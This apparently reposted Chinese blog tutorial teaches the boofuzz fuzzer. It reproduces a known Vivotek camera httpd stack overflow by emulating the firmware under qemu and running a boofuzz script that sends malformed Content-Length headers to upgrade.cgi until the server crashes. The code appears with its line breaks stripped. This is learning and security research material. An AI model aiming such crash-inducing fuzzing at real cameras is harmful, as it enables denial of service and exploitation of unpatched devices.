当前位置: 首页 > news >正文

boofuzz学习

boofuzz学习

常见的命令

创建虚拟环境

python3 -m venv env

启动虚拟环境

source env/bin/activate

安装 boofuzz

pip install boofuzz

文档

安装 boofuzz — boofuzz 0.4.2 文档

学习

让ai写一个简单的测试脚本

from boofuzz import *def main():session = Session(target=Target(connection=SocketConnection("127.0.0.1", 9999, proto="tcp")))# 定义一个消息:先发送 "HELLO ",然后变异后面的字段s_initialize("Request")if s_block_start("main"):s_static("HELLO ")# fuzz 一个长度可变的 ascii 字段s_string("WORLD", fuzzable=True)s_static("\r\n")s_block_end()session.connect(s_get("Request"))session.fuzz()if __name__ == "__main__":main()

然后再另外一个终端上nc -l 9999,效果如下。

img

callback=add_auth_callback 是用来设置钩子函数。

Vivotek摄像头固件栈溢出漏洞

固件下载地址:https://link.zhihu.com/?target=https%3A//github.com/mcw0/PoC/files/3128058/CC8160-VVTK-0100d.flash.zip

启动流程

linux 启动流程

/etc/inittab -> /etc/init.d/rcS ,根据注释这段代码是启动守护进程的,我们想要的 web 服务也是再守护进程的。

img

但是rcS软连接到 ../mnt/flash/etc/rcS.d 但是找了一下发现为空,返回到 _31.extracted 这一级目录,搜索一下 rcS.d

img

发现里面是软连接,http 服务是启动 /etc/init.d/httpd

img

httpd服务为例,启动过程如下:

/etc/init.d/rcS -> /etc/rcS.d/S31httpd -> /etc/init.d/httpd -> /usr/sbin/httpd

漏洞点

报告上写的是在 Content-Length 字段存在漏洞,找到如下代码:

虽然使用的 strncpy 函数进行拷贝,但是 v34 - (v35 + 1) 并没有做任何限制。

img

img

仿真环境

直接使用用户态进行模拟

cp /usr/bin/qemu-arm-static Path_to/squashfs-root
sudo chroot ./ ./qemu-arm-static /usr/sbin/httpd 

报错如下,结合上面的分析,这是因为在31.extracted/_rootfs.img.extracted/squashfs-root/etcconf.d 是一个错误的软连接,解决也很好想重新在软连接一下,但是考虑等会我们要将 squashfs-root 作为根目录,当然也可以不将它作为根目录,但是直接将31.extracted/defconf/_CC8160.tar.bz2.extracted/_0.extracted/etc中的全部文件复制到31.extracted/_rootfs.img.extracted/squashfs-root/etc 更方便

img

复制后的报错如下:

img

在程序中定位一下字符串gethostbyname

img

因该是配置文件中的主机名和 ip 不对应。

查看etc/init.d/httpd发现还需要输入参数-c /etc/conf.d/boa -d

img

sudo chroot ./ ./qemu-arm-static /usr/sbin/httpd -c /etc/conf.d/boa -d 

还需要将宿主机中/etc/hosts文件夹中的内容全部复制到固件文件系统的/etc/hosts文件中去。

img

成功启动

img

抓包

抓下包看下格式

GET /cgi-bin/admin/upgrade.cgi HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: webptzmode=continuous
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i

脚本

from boofuzz import*
IP = "127.0.0.1"
PORT = 80def check_response(target,fuzz_data_logger,session,*args,**kwargs):fuzz_data_logger.log_info("Checking for response ...")try:response = target.recv(512)except:fuzz_data_logger.log_fail("Unable to connect ...")returnif not response:fuzz_data_logger.log_fail("Empty response ...")target.close()returnfuzz_data_logger.log_info("Start checking ...\n"+response.decode())target.close()returndef main():session = Session(target=Target(connection=SocketConnection(IP,PORT,proto="tcp"),),post_test_case_callbacks=[check_response],)s_initialize(name="FUZZ")with s_block("Request-Line"):# Methods_group("Method",["POST"])s_delim(" ",fuzzable=False)s_string("/cgi-bin/admin/upgrade.cgi ",fuzzable=False,name="URI")s_static("HTTP/1.1",name="Version")s_static("\r\n",name="CRLF")# Hosts_static("Host")s_delim(": ",fuzzable=False)s_string("127.0.0.1",fuzzable=False,name="IP")s_static("\r\n")# Connections_static("Connection")s_delim(": ",fuzzable=False)s_string("Close",fuzzable=False,name="Active")s_static("\r\n")# Content-Lengths_static("Content-Length")s_delim(": ", fuzzable=False)s_string("65", fuzzable=True)# Ends_static("\r\n")s_static("\r\n")session.connect(s_get("FUZZ"))session.fuzz()if __name__=="__main__":main()

运行效果

目标主机直接崩溃

img

可以访问http://localhost:26000/看一下运行信息。

img

参考

BooFuzz入门-Vivotek摄像头栈溢出漏洞 - 0P1N

http://www.hskmm.com/?act=detail&tid=30952

相关文章:

  • 2025年扑灭司林厂家最新推荐排行榜,高效环保扑灭司林,专业生产与优质服务口碑之选!
  • IvorySQL 亮相第 27 届中国国际软件博览会:开源创新,共筑软件新生态
  • uniapp 内嵌传值和接收
  • 鸿蒙项目实战(十一):事件通知EventBus
  • BLE动态修改广播地址
  • 2025年扑灭司林厂家最新推荐排行榜,高效环保扑灭司林,专业生产与市场口碑深度解析!
  • 国标GB28181算法算力平台EasyGBS在食品安全监管系统中的融合与应用方案
  • springcloud和dubbo有什么区别
  • 九种常见UML图(分类+图解)
  • Kruskal 重构树
  • 解决Win11 24H2 缺少Microsoft Print to PDF组件,重新添加出现0x800f0922错误的问题
  • “顾客需求必响应”!国标GB28181算法算力平台EasyGBS国标协议报警预案怎么弄?4步实操指南来了
  • 机器视觉双雄YOLO 和 OpenCV 到底有啥区别?别再傻傻分不清!
  • 基于定制开发开源AI智能名片S2B2C商城小应用的文案信息传达策略研究
  • AI工具学习02 - 使用 ChatGPT 进行 PRD 产品设计
  • mysql默认事务隔离级别,从入门到精通的完全指南
  • 11111111111
  • 利用 OpenTelemetry 集成 JMX 监控
  • Java 23种设计模式的详细解析
  • 基于Golang+Gin+Gorm+Vue3母婴商城项目实战
  • 2025 年无缝钢管厂家推荐排行榜, SA333Gr.6 /SA106B/SA106C/A106B/SA210C/ 25MnG/SA53B/A53B /L245NS/P22 无缝钢管厂家推荐
  • 英语_阅读_telescope_待读
  • fiddler早期免费版下载,fiddler抓包工具及使用
  • 零点城市社交电商卡密串码插件:全场景虚拟商品运营解决方案
  • 完整教程:Nginx 核心功能配置:访问控制、用户认证、HTTPS 与 URL 重写等
  • 宝塔计划任务root能正常运行,www用户不能按时运行
  • 介绍 Qodo(原 Codium):新名字,不变的质量承诺 - 公众号
  • mas激活工具安装教程!专业版激活工具!!Microsoft Activation Scripts v3.6 MAS中文汉化版(激活工具)
  • 英语_阅读_Lunar exploration_待读
  • 中文语音识别不建议使用VOSK